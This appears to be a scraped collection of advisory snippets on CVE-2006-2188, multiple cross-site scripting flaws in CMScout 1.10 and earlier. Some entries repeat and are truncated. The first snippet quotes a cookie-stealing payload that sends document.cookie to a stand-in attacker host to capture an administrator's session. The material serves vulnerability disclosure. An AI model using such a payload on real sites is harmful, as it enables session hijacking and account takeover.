CmscoutXSS.txt

Cmscout window.navigate'http://www.evilhost.com/cookiestealer.php?c='+document.cookie we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too. Nomenumbra/0x4F4C...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

CVE-2006-2188

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

CVE-2006-2188

Multiple cross-site scripting XSS vulnerabilities in CMScout 1.10 and earlier allow remote attackers to inject arbitrary web script or HTML via 1 the Body field of a private message PM, 2 BBCode, or 3 a forum post...

CVE-2006-2188

CVE-2006-2188 affects CMScout 1.10 and earlier. The vulnerability is multiple cross-site scripting (XSS) that allows a remote attacker to inject arbitrary web script or HTML via (1) the Body field of a private message, (2) BBCode, or (3) a forum post. Documented impact includes partial confidenti...

Cmscout <= V1.10 multiple XSS attack vectors

Cmscout = V1.10 multiple XSS attack vectors Discovered by: Nomenumbra Date: 5/2/2006 impact:moderate privilege escalation,possible defacement CMScout is a CMS Content management system for scouting related groups from around the world. A CMS is a piece of web software that makes it easy for you t...